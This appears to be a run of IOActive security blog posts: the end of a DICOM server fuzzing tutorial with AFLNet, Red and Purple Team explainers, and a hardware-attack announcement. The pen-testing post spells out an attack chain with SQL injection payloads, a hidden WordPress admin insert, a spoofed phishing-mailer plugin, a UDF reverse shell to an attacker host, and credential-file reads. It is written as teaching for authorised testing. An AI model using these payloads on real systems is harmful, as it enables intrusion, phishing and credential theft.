The following change will allow our payloads to overwrite the previous one so that we don’t need to generate unique study identifiers.

"OverwriteInstances" : true

We can then run Orthanc, providing the configuration file location as a positional parameter.

$ ./Orthanc ../OrthancServer/Resources/Configuration.json

3. Prepare input seed files:
For this step we need to perform DICOM operations using the DCMTK toolkit (as we have seen in another section) and capture the network traffic using tcpdump[11].

#While the Orthanc server is running, we capture incoming traffic on port 4242
tcpdump -w orthanc.pcap -i eth0 port 4242
#From another machine we use dcmsend to store a DICOM file on the server
dcmsend -v -aec ORTHANC 192.168.125.128 4242 dicom/0004.DCM

We then use Wireshark to read the pcap file and isolate the outgoing traffic from the dcmsend client towards the DICOM server.

We can achieve this by clicking the “Entire conversation” drop-down list and selecting the outgoing traffic, which should start with the IP address of the machine with the dcmsend client.

Next, we select “Show as” RAW format and click on the “Save as” button to save the file.

Note: Repeat the steps above during other DICOM operations, such as C-FIND and C-GET, to obtain more seed files.

Store the files in a new directory for later use. Ensure that the directory contains only seed files.

4. Start the fuzzing process:

AFLNet takes the following parameters:

ubuntu@ubuntu-server:~/aflnet$ ./afl-fuzz
afl-fuzz 2.56b by <lcamtuf@google.com>

./afl-fuzz [ options ] -- /path/to/fuzzed_app [ ... ]

Required parameters:

  -i dir        - input directory with test cases
  -o dir        - output directory for fuzzer findings

Execution control settings:

  -f file       - location read by the fuzzed program (stdin)
  -t msec       - timeout for each run (auto-scaled, 50-1000 ms)
  -m megs       - memory limit for child process (50 MB)
  -Q            - use binary-only instrumentation (QEMU mode)

Fuzzing behavior settings:

  -d            - quick & dirty mode (skips deterministic steps)
  -n            - fuzz without instrumentation (dumb mode)
  -x dir        - optional fuzzer dictionary (see README)

Settings for network protocol fuzzing (AFLNet):

  -N netinfo    - server information (e.g., tcp://127.0.0.1/8554)
  -P protocol   - application protocol to be tested (e.g., RTSP, FTP, DTLS12, DNS, SMTP, SSH, TLS)
  -D usec       - waiting time (in micro seconds) for the server to initialize
  -W msec       - waiting time (in miliseconds) for receiving the first response to each input sent
  -w usec       - waiting time (in micro seconds) for receiving follow-up responses
  -e netnsname  - run server in a different network namespace
  -K            - send SIGTERM to gracefully terminate the server (see README.md)
  -E            - enable state aware mode (see README.md)
  -R            - enable region-level mutation operators (see README.md)
  -F            - enable false negative reduction mode (see README.md)
  -c cleanup    - name or full path to the server cleanup script (see README.md)
  -q algo       - state selection algorithm (See aflnet.h for all available options)
  -s algo       - seed selection algorithm (See aflnet.h for all available options)

Other stuff:

  -T text       - text banner to show on the screen
  -M / -S id    - distributed mode (see parallel_fuzzing.txt)
  -C            - crash exploration mode (the peruvian rabbit thing)

Before starting the fuzzer, ensure that the Orthanc server has been stopped.

We start the fuzzer with the following command:

#The -M parameter allows us to run multiple fuzzing sessions to utilize more CPU cores and speed up the process
# Fiddling with the -m 700 was required to identify the ideal memory limit for the child process
# Make sure that the value provided to -N is the IP address and port number used during the DCMTK client interaction. 
# Fiddling with the -D and -t parameters is required depending on how fast the server is spun up and how long it needs to initialise  
$ sudo /home/ubuntu/aflnet/afl-fuzz -M fuzzer1 -m 700 -i /home/ubuntu/aflnet/input/ -o /home/ubuntu/aflnet/output/ -N tcp://192.168.125.128/4242 -P DICOM -D 1000 -t 3000+ -q 3 -s 3 -K -E -R /home/ubuntu/Orthanc-1.12.6/Build/Orthanc /home/ubuntu/Orthanc-1.12.6/OrthancServer/Resources/Configuration.json

If we did everything correctly so far, we should see the status window below, with some unique crashes being identified after a while.

If we run multiple concurrent fuzzing sessions using the -M and -S parameters, we can use the afl-whatsup tool to monitor the total progress.

Additionally, any existing output directory can be used to resume aborted jobs using the -i- parameter:

$ ./afl-fuzz -i- -o existing_output_dir [...etc...]

5. Monitor crashes and hangs.
Crashes and hangs identified during fuzzing are located in output_dir/crashes and output_dir/hangs respectively.

In order to replicate a crash, the aflnet-replay tool can be used. Before replaying a crash, make sure that any fuzzing session has been stopped and the Orthanc server is up and running.

To replay a crash, use the following command:

$ sudo ~/aflnet/aflnet-replay ~/aflnet/output/fuzzer1/replayable-crashes/<crash file name> DICOM 4242

The following one-liner Bash script will go through all files in a directory and use aflnet-replay to send them to the server.

$ for i in $(sudo ls output/fuzzer1/replayable-crashes | grep -v README); do echo "Replaying: $i" && sudo ~/aflnet/aflnet-replay ~/aflnet/output/fuzzer1/replayable-crashes/"$i" DICOM 4242 || { echo "Error processing $i"; break; }; done

Reviewing the server logs after the crash replays shows that a number of errors were generated but the server is still running.

Next Steps

The next steps would be to analyze the crashes in order to identify the reason for the crash. A deeper analysis of the crash can be achieved using the GNU Debugger (gdb) to analyze the core dump files. This analysis can help us identify vulnerabilities, such as buffer overflows, and will also tell us if the vulnerability is exploitable. This will be the content of a future post, so stay tuned!

Conclusion

DICOM is a crucial protocol in modern healthcare but can also pose a significant attack surface if left unsecured or misconfigured. Through techniques like identifying insecure configurations, testing for unencrypted communications, exploiting unprotected services, and fuzzing the protocol, security teams can proactively identify and remediate vulnerabilities in their medical imaging infrastructure.

At IOActive, our penetration testing services span this entire spectrum—from initial reconnaissance and misconfiguration checks to deep protocol fuzzing and advanced exploitation. If you’re interested in fortifying your PACS or would like to learn more about how we can help, get in touch with us today.

Stay secure, and until next time, happy testing!

---

[1] https://www.dicomstandard.org/current

[2] https://www.rfc-editor.org/rfc/rfc3240

[3] https://dicom.nema.org/medical/dicom/current/output/html/part15.html

[4] https://github.com/DCMTK/dcmtk

[5] https://gitlab.com/akihe/radamsa

[6] https://github.com/aflnet/aflnet

[7] https://github.com/google/AFL

[8] https://github.com/aflnet/aflnet

[9] https://thuanpv.github.io/publications/AFLNet_ICST20.pdf

[10] https://www.orthanc-server.com/

[11] https://www.tcpdump.org/

Learn the key differences between Red and Purple Teams. Explore their unique roles, strategies, and how they collaborate to strengthen an organization’s defenses against cyber threats.

As cyber threats continue to escalate in complexity and scale, researchers and threat intelligence analysts have become experts in the tactics, techniques, and procedures (TTPs) employed by today’s cybercriminals.

To effectively combat them, they have also learned to think like them.

Purely defensive security measures are no longer adequate in building solid defenses for blocking modern-day threats. Instead, we must combine research, a thorough knowledge of real-world attack techniques, and an attacker’s perspective to conduct realistic risk and security assessments.

Red Team and Purple Teams bridge the gap between offensive and defensive security approaches. These engagements go beyond traditional penetration testing and are crucial for organizations intent on improving their security hygiene and cyberattack readiness.

In this article, we will explore the roles Red Team and Purple Team members play and how they come together to develop resilient security strategies suitable for organizations today.

Enter the Red Team: Ethical, Offensive Security

An organization’s defenders and in-house security staff, known as a Blue Team, are the ones who must remain vigilant against cyberattacks. The Blue Team is tasked with building, strengthening, and repairing the barriers and digital walls protecting an organization’s assets, including intellectual property and data.

But what if there are weaknesses in these walls that they are unaware of, or entry points they can’t see?

Enter the Red Team: a group of ethical hackers tasked who think like genuine intruders. Within in-scope networks and systems, they map, plot, and test pathways that will allow them to avoid existing protective measures to access resources and data, and to move laterally across networks.

Armed with the TTPs of threat actors and expert knowledge of research into threat groups and attack trends, Red Teams conduct engagements to test everything from network endpoints to employee security awareness. With their assessment structured through threat modeling and scope agreements, Red Teams may exploit unpatched vulnerabilities, such as infiltrating a network and performing reconnaissance. Or they might use social engineering or leaked credentials to probe existing access controls – whether physical or digital – to find the same weaknesses cybercriminals are looking for.

Before a campaign begins, Red Teams will plan their engagement based on black-, gray-, or white-box approaches, in which they either will not have any privileged information, some limited information, or full system and security control data, respectively, depending on their clients’ wishes.

The aim of a Red Team isn’t to steal or destroy, but rather to unmask vulnerabilities by probing an organization’s defenses, simulating how real-world attackers may think and act, and to see how defenders, or the Blue Team, respond.

Purple Teams: When Collaboration is Key

The role of the Red Team doesn’t end with an assessment of an organization’s security posture. When a Red Team is hired, it is not a case of pitting adversarial Red Team attackers against a defending Blue Team and seeing who wins the game. It’s not about competition: the goal is collaboration.

Purple Teams are formed of Red Team and Blue Team members. By bringing these team members together, defenders can better understand the attacker’s mindset and real-world risks to the assets they are tasked with protecting.

Purple Team engagements go far, far beyond CVE ratings, patch schedules, and setting up basic access security controls; they allow cybersecurity and IT specialists to determine the right defensive strategies and resource allocations for their organization.

How is a Purple Team Different From a Blue Team?

Blue Teams are in-house specialists who focus on the detection and prevention of cyberattacks. They are responsible for investigating and triaging suspicious activity, including managing many of the security controls they rely on for detection, such as EDR tools, email filters, and intrusion detection systems.

The responsibilities of Purple Teams are more focused, and their activities are based on an attack path developed collaboratively using threat intelligence and knowledge of the existing network and security controls. A Purple Team proactively bridges the gap between offensive and defensive security, bringing Red Team attackers and Blue Team defenders together. They collaborate throughout the engagement to ensure full visibility of the Red Team’s activities throughout each step of the attack kill chain. Steps are repeated as needed to validate whether the Blue Team can prevent, or at the very least, log and detect the actions.

Red Teams ethically attack. Blue Teams detect and defend. Purple Teams, formed out of cooperation and a collaborative mindset, focus on sharing information and expertise to improve the target organization’s security posture.

Purple Teams: Attack and Defense Simulations

Unlike traditional penetration tests, Purple Team exercises build a narrative that combines the information and vulnerability discovery data gathered by the Red Team, with the Blue Team’s understanding of their organization’s existing security controls. 

This narrative may include attack and defense simulations and reproducing the attack paths that the Red Team was able to develop. Furthermore, Purple Team exercises include “assumed breach” scenarios and tabletop exercises designed to highlight the true impact of a breach, as well as the most appropriate ways to combat them.

The Red and Purple Teams comprehensively document their engagements, giving clients an in-depth understanding of their security controls and cyberattack resilience. Each report is driven by research and data, with the attack narrative mapped to MITRE ATT&CK framework.

Red and Purple Teams: Specialized Skill Sets With the Same Objective

As cyberattacks and those performing them are incredibly diverse, organizations benefit the most from Red Team and Purple Team engagements when participating members offer just as much variety in skill and experience. Different backgrounds, knowledge, and training all provide unique perspectives and approaches to vulnerability discovery, problem-solving, and risk.

Red Team members are focused on offensive security and adversarial methods. You will often find that these specialists will hold certifications that include OSCP, GPEN, PenTest+, GXPN, OWSP, and BSCP. Additionally, expect to find expertise in systems administration, coding, incident response, social engineering, and physical access breach methods.

Comparatively, Blue Team members focus on defensive specializations. As such, their range of certifications is more diverse and may include Security+, GSEC, CISSP, GCIH, CSA, CTIA, CySA+, CCSP, and product-specific certifications or training.

How IOActive Can Assist You

By adopting the attacker’s mindset, IOActive’s Red Team specialists go beyond traditional penetration testing services, utilizing modern threat actor techniques to provide clients with a comprehensive overview of real-world risks and attack vectors.

Our work doesn’t stop there. By working collaboratively with Blue Team defenders, Purple Team engagements promote the exchange of knowledge, skills, and perspectives necessary to develop realistic risk assessments and robust security strategies.

With our help, organizations can equip themselves to meet the challenge of modern cyber threats, improving the effectiveness of their security controls, resiliency, and incident response procedures.

Learn more about IOActive’s Red and Purple Team Services.

Are you uncertain on whether you really need a Red Team service? Find out the 5 signs you’re ready for a Red Team engagement.

Penetration tests (“pen tests”) are a key element of every organization’s security process. They provide insights into the security posture of applications, environments, and critical resources. Such testing often follows a well-known process: enumerate the scope, run automated scans, check for common vulnerabilities within the CWE Top 25 or OWASP Top 10, and deliver a templated report. Even though this “checklist” approach can uncover issues, it can lack the depth and creativity needed to emulate a genuine cyber threat scenario. This is where the Red Team mindset comes in.

A Red Team simulates realistic adversaries by using advanced tactics, techniques, and procedures (TTPs). Rather than sticking to a mechanical checklist, Red Teamers think like real attackers, aiming to achieve specific goals, such as data exfiltration, domain takeover, or access to a critical system. This approach doesn’t just identify vulnerabilities, it explores the full path an attacker might take, tying vulnerabilities together until a more damaging outcome is achieved (with frameworks like MITRE ATT&CK). It gives an organization a better understanding of their cybersecurity situation and how seriously an attacker could impact their in-scope assets.

Why Think Like a Red Teamer?

Traditional pen testing often ends the moment a vulnerability like SQL injection (SQLi) is discovered and confirmed. The pen tester lists the SQLi vulnerability in the report, explains its impact, provides a Proof of Concept (POC), and presents remediation tips. A Red Teamer, however, goes further: What can be achieved if I chain that SQLi with something else? Can I steal credentials or extract sensitive data from the database? Could I continue to exploit this to achieve remote code execution (RCE)? If I gain RCE, can I pivot from this compromised server to other internal systems? By tracing the entire “kill chain,” Red Teams uncover critical paths that a real-world attacker would exploit, since the goal is to show the complete impact—and this is just one example.

Checking the boxes for vulnerabilities like cross-site scripting (XSS), insecure direct object references (IDOR), and missing HTTP security headers is still important and relevant in this approach to testing, because it provides a baseline of known issues; however, adding a Red Team-style approach to evaluate how seemingly smaller vulnerabilities might chain together is what ensures a more realistic security assessment. Think of it like a live fire drill: you learn a lot more about your readiness when you run the scenario as if it’s happening in real life, rather than just checking if your fire extinguisher is regularly maintained.

Collaborating with the Client

One key difference between a typical pen test and a Red Team exercise is the level of coordination required. A Red Team engagement typically involves continuous collaboration with the client because certain vulnerabilities might cause system outages or a significant data breach. Some clients may not allow the tester to fully exploit certain vulnerabilities once discovered. For instance, if the pen tester finds a critical bug that could lead to data corruption, the client may prefer not to have their production environment impacted. For these tasks, it is better to use UAT environments that are almost identical to production so that no outages occur.

Some scoping calls and planning might be required to give the client the best possible result. The tester should sit down (virtually or in person) with the client to determine the primary objectives of the exercise. For example, are they primarily concerned about data exfiltration, privilege escalation, or compromise of internal resources? This helps the tester align their goals with the client’s highest priorities. Also, rather than waiting until the end of the engagement to share all findings, Red Teams often disclose highly intrusive tests and high-risk vulnerabilities throughout the process. This allows the client’s security teams to approve the tests and observe how an attacker might operate within their environments.

Technical Depth: From SQLi to Full Compromise

Adopting a Red Team mindset doesn’t mean ignoring standard vulnerability checks—those are still crucial. What changes is how you leverage them. Let’s explore a hypothetical path using MITRE ATT&CK techniques:

1. Discovery

Technique: Exploit Public-facing Application (T1190)

The attacker identifies a parameter in a web application that is vulnerable to SQL injection:

http://vulnerable-website.com/search?query=’ OR 1=1–

Typically, this is where a standard pen testing approach might end: “Parameter X is vulnerable to SQLi. Here’s how to fix it.” However, a red team approach seeks further exploitation paths.

2. Chaining Attacks

i. WordPress-to-Phishing

Techniques: Exploit Public-Facing Application (T1190) & Phishing (T1566.003 – Spearphishing via Service)

Using the SQL injection vulnerability, the attacker enumerates the database and discovers that it is shared with a WordPress installation. With this insight, the attacker injects payloads to create a new administrative user within WordPress:

'; INSERT INTO wp_users (user_login, user_pass, user_email, user_registered, user_status, display_name)

VALUES ('evil_admin', MD5('P@ssw0rd'), 'evil@attacker.com', NOW(), 0, 'evil_admin'); --

'; INSERT INTO wp_usermeta (user_id, meta_key, meta_value)

VALUES ((SELECT ID FROM wp_users WHERE user_login='evil_admin'), 'wp_capabilities', 'a:1:{s:13:"administrator";b:1;}'); --

After logging in as admin, the attacker discovers a plugin that sends emails using the company’s official address (info@company.com), and uploads a custom plugin to send phishing emails.

For example:

<?php
/*
Plugin Name: Phishing Mailer
Description: Custom plugin to send phishing emails.
Version: 1.0
Author: Attacker
*/
function send_phishing_email() {
    $to = "victim@target.com";
    $subject = "Urgent: Account Verification Needed";
    $message = "Please verify your account at: http://attacker-website.com/phishing";
    $headers = "From: info@company.com";
    wp_mail($to, $subject, $message, $headers);
}
add_action('init', 'send_phishing_email');
?>

When activated, this plugin sends phishing emails appearing to come from the legitimate company address which could give the attacker internal access.

ii. Remote Code Execution

Techniques: Web Shell (T1505.003) & Command and Scripting Interpreter (T1059)

Building on the SQLi foothold, the attacker compiles the UDF payload as a Linux shared object (udf_payload.so) and converts it into a single hex‑encoded string. For demonstration, the command below represents a truncated version of that string:

'; SELECT 0x4d5a90000300000004000000ffff0000b80000000000000040000000000000000000000000000000000... 
INTO DUMPFILE '/usr/lib/mysql/plugin/udf_payload.so'; --

With the payload written to disk, the attacker registers a new UDF that executes system commands:

'; DROP FUNCTION IF EXISTS sys_exec;
CREATE FUNCTION sys_exec RETURNS INT SONAME 'udf_payload.so'; --

Now the attacker can execute a reverse  shell to their system:

select sys_exec('bash -i >& /dev/tcp/attacker-server-ip/443 0>&1');

3. Privilege Escalation

Technique: Unsecured Credentials (T1552)

Now with remote code execution obtained in the previous step, the attacker searches for higher-privilege credentials. By dumping OS-level credentials and inspecting configuration files, the attacker uncovers sensitive information such as SSH keys or passwords:

# cat /etc/my.conf
# ls -la /users/user/.ssh/

These findings enable further escalation within the compromised environment.

4. Lateral Movement

Technique: Remote Services (T1021)

Using the extracted SSH key, the attacker pivots to an internal backend server:

ssh -i key user@backend-server-ip

Upon accessing the backend server, the attacker discovers that the API source code is stored in a Git repository. By reviewing the repository’s commit history with a tool like TruffleHog, the attacker uncovers additional leaked credentials, expanding their control over the environment:

[/opt/api] # trufflehog .

5. Objective Attainment

This scan reveals previously committed AWS keys, which the attacker then uses to access additional AWS resources and further compromise the target’s infrastructure.

Using these steps, the attacker gains remote code execution access to two servers, control over AWS resources, and an internal foothold with the phishing plugin.

MITRE ATT&CK Mapping Overview

The following table explains how each stage of the attack aligns with specific MITRE ATT&CK techniques. It highlights the tactics, techniques, and procedures (TTPs) leveraged by the attacker to progress from initial discovery to achieving their final objectives

Phase	Technique Description	MITRE ATT&CK ID
Discovery	Exploit Public-Facing Application via SQL Injection	T1190
WordPress Exploitation & Phishing	SQL injection to create admin user and phishing via service	T1190, T1566.003
Remote Code Execution	Deploy web shell and register UDF for command execution	T1505.003, T1059
Privilege Escalation	Dump OS credentials from unsecured configuration files	T1552
Lateral Movement	Pivot using SSH access to internal systems	T1021
Objective Attainment	Use compromised AWS keys to access cloud services	T1078.004

By connecting each vulnerability in a realistic kill chain, clients can clearly see how a single oversight can translate into a major breach. This applies to other types of tests, not just web applications:

• IoT Devices
  IoT devices, such as smart cameras or industrial control sensors, often have default credentials or unencrypted communications. A Red Teamer might discover a way to intercept and tamper with device firmware, leading to data theft or even physical consequences. For instance, obtaining a hardcoded password and accessing other devices over the MQTT broker could allow control of the devices or extraction of sensitive information, such as screenshots from a camera.
• Mobile Apps
  Consider a shopping app where developers left critical business logic in plain sight within the client code, including promotional algorithms and discount threshold checks. A Red Teamer could reverse engineer the APK, analyze function calls, and discover ways to unlock secret promotional rates. By manipulating the client’s code, they could grant themselves unlimited discounts and bypass purchase limits.
• Cloud Environments
  With the growing popularity of AWS, Azure, and GCP, Red Teamers often focus on misconfigurations in IAM policies, exposed S3 buckets, or vulnerable serverless functions. Exploiting these issues can cascade through an entire environment, demonstrating how a single bucket misconfiguration can lead to a breach of confidential data or internal systems.

Benefits to Both Sides

1.) Client Value

• Deeper Insights: The client sees the full potential attack chain, not just a list of vulnerabilities
  
• Tailored Remediations: Knowing exactly how an attacker could pivot and escalate privileges allows for more targeted, effective solutions.
  
• Realistic Training: Security teams get hands-on experience defending against a simulated adversary.

2.) Pen Tester Satisfaction

• Deeper Engagement: Rather than just running a routine checklist, you get to dive deep into a system.
  
• Continuous Learning: You’re more likely to discover new TTPs and refine your tradecraft when you think like an attacker.
  
• Professional Growth: Real-world exploitation scenarios build credibility, demonstrating advanced skill sets to future clients or employers.

Pen Testing Like a Red Teamer vs. a Red Team Exercise

Bringing a Red Team mindset to pen testing can add value, but it’s important to understand that pen testing like a Red Teamer and running a full Red Team operation are two very different things.

A Red Team exercise is a large-scale, long-term simulation of a real-world adversary. It goes beyond just testing technical vulnerabilities—it includes tactics like phishing, physical intrusion, lockpicking, badge cloning, and covert operations to evaluate an organization’s security as a whole. These engagements can span weeks or even months and require detailed planning, stealth, and coordination.

On the other hand, pen testing like a Red Teamer operates within the structured limits of a pen test. It’s more than just running scans or checking boxes—it involves chaining vulnerabilities, escalating privileges, and digging deeper into potential attack paths; however, it does not include elements like social engineering, physical security breaches, or advanced persistent threat (APT) simulations. Once those come into play, the engagement moves into full Red Team territory, which requires more resources, extended timelines, and different contractual agreements.

Final Thoughts

Adopting a Red Team mindset in pen testing elevates the process from just identifying vulnerabilities to understanding their full impact. Instead of just reporting security flaws, you’re simulating how an attacker could exploit them, giving clients a clearer picture of their real-world risks. This benefits everyone—the client gets a richer security assessment, and testers get more engaging, hands-on experience, refining their skills.

That said, a Red Team approach requires trust and clear communication. Before diving in, both the tester and the client need to define the scope, objectives, and acceptable levels of risk. Whether you’re assessing a web application, a mobile platform, or an IoT ecosystem, thinking like a Red Teamer makes your testing more impactful, providing clients with insights they can actually use to strengthen their defenses.

While it’s important to push the boundaries in pen testing and expose realistic attack paths, it’s just as crucial to recognize that true Red Teaming is a different service. It comes with different expectations, methodologies, and permissions. Keeping that distinction clear ensures ethical testing, aligns with client needs, and maximizes value for both offensive and defensive teams.

At the end of the day, the best pen tests don’t just list vulnerabilities—they show how those weaknesses can be exploited to achieve real-world attack objectives. By embracing this mindset, you’ll conduct more meaningful tests, build stronger client relationships, and contribute to a more secure digital world.

Low-level Hardware Attacks: No Longer an Emerging Threat

As organizations have improved their cybersecurity posture, motivated attackers compensate by looking for other attack vectors to continue to achieve their objectives. Efforts to improve system and device security have produced a greater availability and reliance on hardware security features, and as component and device designers continue to innovate with new security features, attackers continue to innovate and share new tools and attack techniques. Increasingly, this means that to provide solid security posture for a component, device, or system, a full-stack perspective on security is mandatory.

More effort from developers is required to understand and increase resistance to low-level hardware attacks, including:

• Manufacturers of typical microchips and embedded devices that require features such as secure boot and resistance to firmware extraction
• Manufacturers of specialty microchips and integrated circuits (ICs) with security features such as secure elements, secure enclaves, encrypted read only memory (ROMs), hardware root of trust, etc.
• Product manufacturers who depend on microchips with key security features as a core control of their overall product or ecosystem security model

Defending against low-level hardware attacks is critical for most every organization today, but the topic remains largely inaccessible to the key stakeholders who can act to improve security posture to better resist and defend against these attacks. To support improved security posture on these critical components, IOActive is making new materials available to the community to aid in understanding the attack vectors and threats.

IOActive is very pleased to announce the release of our eGuide titled “The State of Silicon Chip Hacking,” which is intended to make the very opaque topic of low-level attacks on microchips and ICs more accessible to security team members, business leaders, semiconductor engineers, and even laypersons.

Furthermore, in the coming months, we will publish some original cybersecurity research related to low-level attacks on specialized memory in microchips and integrated circuits (ICs), and formerly proprietary intelligence (PROPINT) about the capabilities of malicious threat actors targeting microchips and ICs.

BACKGROUND

Evolving Security Posture and Attack Vectors

Within the last decade, low-level hardware attacks at the microchip and IC level have become more appealing to attackers as many organizations have become much better at the fundamentals of cybersecurity that include cyber hygiene, vulnerability management, secure development,[1][2][3] and the many other components in a modern cybersecurity program or framework such as NIST’s CSF. As organizations became more mature in their cybersecurity capabilities, including sophisticated response and threat hunting capabilities offered for their traditional information technology (IT) and operational technology (OT) environments either by an internal security operation center (SOC) or a trusted third-party service provider, threat actors have shifted their focus to other areas of opportunity where less defensive effort had been expended to date, such as supply chain[4][5] and hardware attack vectors.

A recent example of this is the high-impact supply chain attack by Salt Typhoon, a People’s Republic of China (PRC) Ministry of State Security (MSS) affiliated threat actor. This attacker compromised the major U.S. mobile network operators to enable espionage and counterintelligence operations, hyper-targeted cyber operations against high value targets, and the circumvention of the ridiculously weak short message system (SMS) multi-factor authentication (MFA) implementations used far too frequently today.

The more secure an organization itself, the more attractive that organization’s upstream supply chain becomes as an attack vector to a dedicated attacker. A sophisticated threat actor seeks the easiest and least attributable pathway into a target; today the path of least resistance and risk for an attacker is often one of the target’s Tier 1 or Tier 2 suppliers who have an exploitable vulnerability that can provide full access into the target’s network. Other times, the actor has chosen an attack vector of a software library or hardware component. For example, we have recently seen an attacker attempt to compromise the XZ Utils compression library in an effort to subvert the effectiveness of OpenSSH.[6][7]

Greater Reliance on Hardware Security

One outcome of these efforts to improve security is a greater reliance on hardware components and devices to improve the overall system’s security, especially when an attacker has physical access through the protection of key data such as cryptographic keys, whose compromise would result in the compromise of the device or all devices. Key hardware technologies and implementations such as secure boot (e.g., UEFI), trusted execution environments (TEEs), and hardware roots of trust have been created and refined to reduce the likelihood of a software compromise. Many of these key hardware security measures are standardized for the industry or a manufacturer to reuse on multiple products and devices. Perhaps most attractive to device developers, these components are frequently integrated into system-on-a-chip (SOC) components that provide a broad set of features, including hardware security capabilities, into a single package.

This greater availability, utilization, and criticality of hardware security has pushed threat actors to develop new tooling, tactics, techniques, and procedures to achieve their operational or strategic objectives.

Full-stack Perspective

Today’s sophisticated threat actors are capable of successfully attacking at any level of the technology and operational stack including hardware, software, people, processes, and the supply chain. This necessitates much more thoughtful risk management and defense. Moreover, the advanced, low-level hardware attack techniques outlined in our eGuide have become much more democratized and accessible to many of today’s threat actors. There is no expectation that this trend will abate. A successful, low-level hardware attack can compromise an entire organization, its customers, and even its suppliers.

Globalization Consequences

With the admission of the PRC to the World Trade Organization (WTO) in December 2001, the world experienced an extremely rapid period of globalization, which transformed the global economy and its supply chains. This supply chain globalization has actually made our supply chains longer, more geographically dispersed, much more complex and less resilient. Today, a product may have to go through multiple countries and hundreds of suppliers before it’s complete, offering more opportunities for things to go wrong from a supply chain risk perspective, whether accidental or intentional. Within the last several years we have seen numerous high-impact supply chain disruptions.

The 2020 pandemic painfully illustrated the vulnerabilities of the global supply chain to disruption from a virus and the associated government response. Significant microchip shortages beginning in 2021 deeply impacted the automotive industry on a global basis with an estimated impact of a more than 10% reduction in global light-vehicle production in 2021. In March 2021, the container ship Ever Given was grounded in the Suez Canal, causing significant disruptions to shipping and canal transits. In late 2023, we saw huge disruptions to the transit of the Red Sea and Suez Canal, which forms a key link between Asia and Europe, from kinetic attacks by the Houthis, an Iranian proxy group based in Yemen. Arguably, the consequences of the Ever Given incident gave the Houthi strategists a model with which to understand the consequences of severing the link between Europe and the Indo-Pacific through piracy and kinetic strikes.

Perhaps most concerning is the fact that these long, complex supply chains frequently have key nodes in locations under the control of unfriendly, malign,  or adversarial countries who are seeking to penetrate, compromise, and hold at risk critical infrastructure and information of their perceived adversaries.

THREATSCAPE: INCREASING RISKS

The confluence of the above trends has created significantly greater risks that as previously favored attack vectors become more challenging, costly, or attributable, organizations almost certainly will be targeted through low-level hardware attacks. There are many more threat actors today capable of launching low-level hardware attacks. The nature of the global semiconductor supply chain gives the most motivated and well-funded threat actors excellent opportunities to compromise microchips, ICs, and digital devices before they make it to the end user. Increasingly, these threat actors will require low-level hardware attack techniques to continue to meet their operational and strategic objectives.

To support improved security posture on these critical components, we are making new materials available to the community to aid in understanding the attack vectors and threats.

Upcoming Research Publications

In the coming months, we will publish some original cybersecurity research related to low-level attacks on specialized memory in microchips and ICs after completion of our responsible disclosure process. In addition, we will publish some previous work we had performed by a third party to help us assess and develop PROPINT about the capabilities of malicious threat actors to reverse engineer microchips and ICs for the purpose of intellectual property theft.

The State of Silicon Chip Hacking

IOActive is pleased to announce the release of eGuide titled “The State of Silicon Chip Hacking,” which is intended to make the very opaque topic of low-level attacks on microchips and ICs more accessible to security team members, business leaders, semiconductor engineers, and even laypersons. This eGuide is meant to be clear, concise, and accessible to anyone interested in the topic of low-level hardware attacks with an emphasis on invasive attacks using specialized equipment. To increase the accessibility of the eGuide to all readers, we made an effort to include high quality graphics to illustrate the key concepts related to these attacks.

---

[1] https://www.sei.cmu.edu/our-work/secure-development/

[2] https://www.microsoft.com/en-us/securityengineering/sdl/practices

[3] https://www.ncsc.gov.uk/collection/developers-collection/principles

[4] https://www.ncsc.gov.uk/collection/supply-chain-security/supply-chain-attack-examples

[5] https://github.com/cncf/tag-security/blob/main/supply-chain-security/compromises/README.md

[6] https://www.darkreading.com/cyber-risk/xz-utils-backdoor-implanted-in-intricate-multi-year-supply-chain-attack

[7] https://nvd.nist.gov/vuln/detail/CVE-2024-3094